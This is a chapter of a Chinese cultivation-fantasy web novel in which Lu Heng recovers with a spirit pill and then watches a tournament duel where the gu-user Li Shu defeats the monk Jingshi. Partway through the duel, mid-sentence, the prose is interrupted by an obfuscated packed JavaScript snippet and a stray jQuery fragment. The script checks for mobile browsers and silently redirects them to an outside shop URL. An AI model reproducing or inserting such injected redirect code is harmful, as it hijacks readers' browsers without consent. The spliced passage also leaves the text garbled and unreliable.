陆珩被卫铮搀进休息处的时候,膝盖弯了一下。不是受伤——是灵气耗空之后身体那种自然的下沉感,像一件湿透的棉袍忽然从肩上卸下来,整个人轻了但也软了。他在休息处靠墙的木椅上坐下来,后背贴上椅背的时候敷着的剑伤被压了一下,他皱了皱眉又松开了。
还没来得及坐稳,门口就进来了一个穿浮玉关制服的修士。那人手里托着一只细颈白瓷瓶,瓷面在午后的光线里泛着温润的哑光。他走到陆珩面前站定,躬身,把瓷瓶双手递过来。
“这是九转玉露丸。回养灵气有奇效,请陆居士服下。“
陆珩看了他一眼。那修士直起身之后没有多留,又躬了一下身便转身出去了,脚步快而利落,像做过很多次同样的事情。门口的光线被他的背影挡住了一瞬又恢复如常。
卫铮走过去把瓷瓶拿起来在手里转了半圈。细颈处的封口是用红蜡密封的,蜡面上压着一道细密的符纹。“九转玉露丸。“他把瓷瓶在指间掂了掂,看向陆珩,“你之前吃的那个叫什么来着?养血生肌丹?浮玉关的灵药起名字还挺雅致。“他笑了笑,把瓷瓶递过去。
陆珩接过瓷瓶,拇指按在红蜡封口上轻轻一压,蜡面裂开一道细纹。他拔开瓶塞,一股极淡的、像雨后石面上蒸腾起来的那种气息从瓶口溢出。他倾斜瓶口,一粒淡蓝色的丸药滚落在掌心里,大小如小指甲盖,表面光滑如瓷。他把丸药放在舌下含服的时候,口腔里像是有什么东西从舌根处炸开了——不是甜,不是苦,是一种像荒原裂开的第一道缝隙里涌出来的气流,那种气息沿着舌根灌入喉管,顺着任脉直下丹田。他感觉到三颗金丹在同一瞬间被那股气息从外层包裹住了,像三枚被浸入温水中的铁丸,余温重新从核心向外扩散。
他盘腿坐在木椅上,双手捏定神印,闭目调息。灵气从金丹外围向经脉回流的速度比他预想中快得多,像干涸的河道在第一场雨水到来之后水位以肉眼可见的速度往上涨。一炷香的功夫不到,他体内的灵气已经恢复了八成以上,经脉中没有滞涩,丹田中没有虚浮。他睁开眼,发现自己的手背上的青筋已经从方才的凹陷状态恢复了正常的充盈。
“这丸药恢复金丹初期修士的灵气居然这么快。“卫铮在旁边看着他收了功才开口,“正常打坐调息的话,照你刚才那种用法,至少得盘坐三天。“
陆珩把空瓷瓶放在桌上。“这药肯定也是浮玉关的秘药。“
“我猜也是。只有你沾了比赛的光才能用上。“卫铮站了起来,拍了拍衣摆上沾的灰,“不过你现在恢复好了,正好可以上街转转——趁你的玉牌还有用,看能不能整点什么丹药法器带回去。免得回了奇门,老头儿又说我不务正业。“
陆珩站起来。三颗金丹恢复之后的温热感重新包裹着他的四肢,灵气充沛的状态比半炷香前那副灵气枯竭的样子判若两人。他走出休息处的时候日光从高台方向斜照过来,在校场入口处切出一道明暗分明的边界线。
午后的浮玉关正街比早上更挤。东校场方向涌出来的人流和从城门口涌进来的人流在街心交汇,像两条流速不同的河流在同一个河口处互相推挤。街上的商号门前都排着队,售卖丹药的铺子柜台前面挤了三四层人,售卖法器的那条街巷里连脚都快放不下了。陆珩和卫铮在人群里穿行了一趟,发现大部分商号里的存货已经见底——符箓还剩一些黄纸,品相一般;丹药只剩最基础的聚气丹和清心丸,稍好一些的灵药早被前几日抢空了;法器柜台几乎全是空的,只剩几把被人挑剩下的铜钱剑孤零零地挂在铁架上。
两人走完一趟回来,手里只多了几叠黄符纸和三瓶基础清心丸。卫铮把符纸在手里翻了翻,叹了口气。“算了,能带回去就行。老头儿总说我出门一趟空手回去。“
他们走回校场的时候,石栏外的人群已经开始往内场回流了。下午的第一场对决在申时,太阳正在从正中向西偏斜。校场入口处有人群正往里涌动,脚步比早上更急——悬空寺对巫蛊宗,这两个名字叠加在一起的时候,来的观众比上午第一场多了将近两成。
陆珩和卫铮在石栏内侧找了一个能同时看到擂台正面的位置站定。午后的日光从西偏的方向斜照在擂台上,把青石地面上的碎石照出长长的影子。擂台边缘的白灰线在侧光下显出一种旧象牙色的质感,像一条被反复描过太多次的旧线。
净识先走上来的。灰僧袍,合着掌,脚步不紧不慢,走上擂台之后在最中心的位置站定。他站定之后就没有再动过,合着的手掌搁在胸前,指节并拢成一道平直的线。他站在那里像一株被种在擂台中央的柏树——不动,不急,不朝任何方向偏转。
离姝从对面走上来。今天她换了件墨青色的窄袖长衣,腰带收得比前几场更紧,袖口也扎进了护腕里。她走上擂台的时候日光从侧面照过来,把她颧骨上那道旧疤的轮廓照得分明。她在距离净识大约五丈远的位置站定,目光落在他合掌的指节上。
令旗落下的瞬间她袖口里先弹出了一根丝线。细如发丝,透明带淡青色,贴地蛇行,沿着青石板缝隙的暗影游向净识的脚底。丝线在距离净识大约三尺远的地方停住了——像是触到了一面无形的墙壁,丝线的前端在那道看不见的边界上微微弯折了一下,像水遇到玻璃壁之后沿着壁面滑开了。
离姝的眉梢动了一下。她指尖又弹出了两根丝线,一左一右,从两个不同的角度同时逼近。两根丝线在同样距离三尺的位置同时弯折滑开,像两根被同时拨开的琴弦,在半空中颤动了一下又垂落回地面。
她收了丝线。她站直了身体,目光从净识合掌的指节移到了他垂着的眼睑上。然后她换了一种方式——丝线从她指尖弹出的时候不再贴地蛇行,而是悬浮在半空中以一种缓慢的速度朝前推进,像一根在静水中缓缓游动的触须。丝线的尖端在距离三尺的位置停住了,但这一次没有弯折滑开——它在那个边界上微微抖动了一下,像一根试探性的鱼须在触碰一道透明墙壁的表面寻找缝隙。
净识合掌的手纹丝不动。他的呼吸节奏从他站定之后就没有变过——吸气三息,屏息半息,呼气三息,间隙半息。每一次呼吸的节奏都精确到像被一枚固定频率的钟摆量过一样。
离姝的第一根丝线在边界上停了大约五息之后收了回去。她换了一个角度,丝线从侧面推近,在距离三尺边界约一尺的位置绕了一个弧线,沿着边界的表面横向探索。然后又收了回去。第三根丝线从上方压下,垂直落在净识头顶上方三尺处。第四根从下方贴着地面探入。每一根丝线都在边界的不同位置、不同角度上做了同样的试探——触碰,微震,收回。
“之前净识大师都是这么赢的?”
“对啊,跟龙乾纲还不一样,净识大师完全没有出过手。”
“所有对手使遍手段都破不了净识大师的防,不投降还能有什么办法?”
陆珩站在台下看着她的动作。他看着她的指尖在每一次丝线收回之后都会有一个极短暂的停顿——像是在计算什么。从第五根丝线开始,她的试探方式变了。丝线不再以“探索边界“为目标,而是以“寻找边界的波动“为目标。她让一根丝线持续地触在边界表面,不试图穿过,只是感受。丝线的尖端在边界表面停留了大约十息,像一个人把耳廓贴在墙面上听隔壁房间的动静。
净识呼出了他的第七次呼气。在他呼气结束、吸气的开始那一瞬间——大约半息不到的间隙——离姝的丝线尖端猛地颤动了一下,像一条鱼的触须在静水中感知到了水流方向的变化。丝线在那个颤动发生的瞬间向前推进了不到半寸,穿过了一道极窄的、似乎只有发丝粗细的缝隙。
台下没有人看到那道丝线穿过去。陆珩也是在那道丝线已经没入净识僧袍的衣料之后才意识到它成功了。他看见离姝的右手微微收紧了半线,像是渔人收线时确认钩已经挂住了的那个瞬间。
净识的身体终
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941282|208891||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
于动了一下。幅度极小,合着的手掌微微分开了一道缝,又合上了。他低头看了一眼自己的胸口——僧袍表面平整无损,丝线已经没入衣料之下看不见了。
净识闷哼一声,双手扭转,身周的无形气场骤然坍缩,将那道丝线生生拔了出来。
“这根细如毫芒的蛊丝,刚刚破了净识大师的金刚不坏神功?”
“还没破呢?会不会看。”
离姝抖手,几道颜色各异的蛊丝分次而动,却在净识呼吸间隔之中,也不能再进净识身周的力场。
净识只是微闭双目,双手合十,微微颔首。
“寻常蛊丝,恐怕是进不了净识大师的身了。”台下的这句话几乎和离姝心中响起的声音一致。
离姝默默将蛊丝尽数抽回,净识睁眼,且看离姝下文。
离姝取下腰间布袋,袋中并不是饲养蛊母的蛊盅。而是一只黑木三足小鼎。
“这是何物?”
“终于用法宝了。这可是藏招啊。”
“不是为了夺魁恐怕不会用出来吧。”
却见离姝右手轻捻指决,口中咒语低沉古老,听得近前众人只觉胸闷头晕。正在众人昏沉之际,一道道紫红色蛊丝从鼎中升腾,仿佛在风中飘摇的火焰。
“着!”离姝眼神凌厉之色一闪而过,鼎中蛊丝如鲫鱼过江,穿空而来。
净识见状,单手横在腹前,掌心向下,只一字,“障!”
周身的凝练气劲宛如实质,将净识团团护住。众人只见紫红色蛊丝几乎瞬息将净识连通气劲完全湮没。而后蛊丝缠绵在气劲上越聚越多,仿佛一个硕大的蛇窝。
过了三五息,从蛊丝堆中传来一个淡淡的声音,“贫僧认输。”
离姝随即咬破舌尖,啐在鼎上,手上再捏指决,口中疾念。蛊丝如嗜血豺狼一般,奔涌回了小木鼎中。
“净识大师,承让。”离姝双手抱拳。
“这是什么蛊?”
“这该不会就是他们控制灵修剑派的宝鼎化生蛊吧?”
“这个蛊丝看起来好阴邪霸道。”
净识沉默了片刻。然后他朝离姝的方向微微颔首,合着的双手重新并拢成一条平直的线,脚步向后挪了半步。
他转身,走下擂台。走下的时候和上台时一样的步速,一样的姿态,灰僧袍的下摆在午后的日光中安静地垂着,一步,两步,三步。他走下石阶的时候靴底踩在石面上没有声音,像一个已经完成了某件事的人在退场时不必再发出多余的声响。
高台上的裁决修士落地的时候,声音在午后安静的擂台上空铺展开来:“悬空寺净识对巫蛊宗离姝——巫蛊宗离姝胜。“
台下有一小片人在鼓掌,更多的人在低声交换着什么——大家都沉浸在对宝鼎化生蛊的诧异之中,对这种全新的蛊丝交换认识。
离姝站在擂台上。她收了小木鼎,把右手垂回身侧,墨青色的袖口在日光下泛着润泽的光。她看着净识走下擂台的背影消失在校场侧廊的阴影里,然后收回目光,转身朝擂台的另一侧走去。
陆珩站在石栏边上看着她的背影。他看见她走路的姿态和上场时没有区别——腰背挺直,步幅均匀,右手垂在身侧时指尖微微蜷着,像是刚刚做完一件精细的工作之后手指在自然放松。他没有从她身上看到胜利者常有的那种松弛或得意。他看到的是一种收敛的、像是把一个已经完成的东西收进匣中然后盖好了盖子的平静。
卫铮在他旁边低声说了一句:“这恐怕就是宝鼎化生蛊了,要想解韩惜春的蛊毒,恐怕还得再看看。“
陆珩没有答话。日光从西偏的方向照过来,把离姝走下擂台的背影在校场地面上拉出一道墨青色的长影。那道影子经过石栏边缘的时候和他脚边的影子重叠了一瞬,然后分开了。影子分开的时候他感觉到自己后背的剑伤忽然痒了一下——那道正在愈合的伤口在日光中沉默地长着新的皮肉。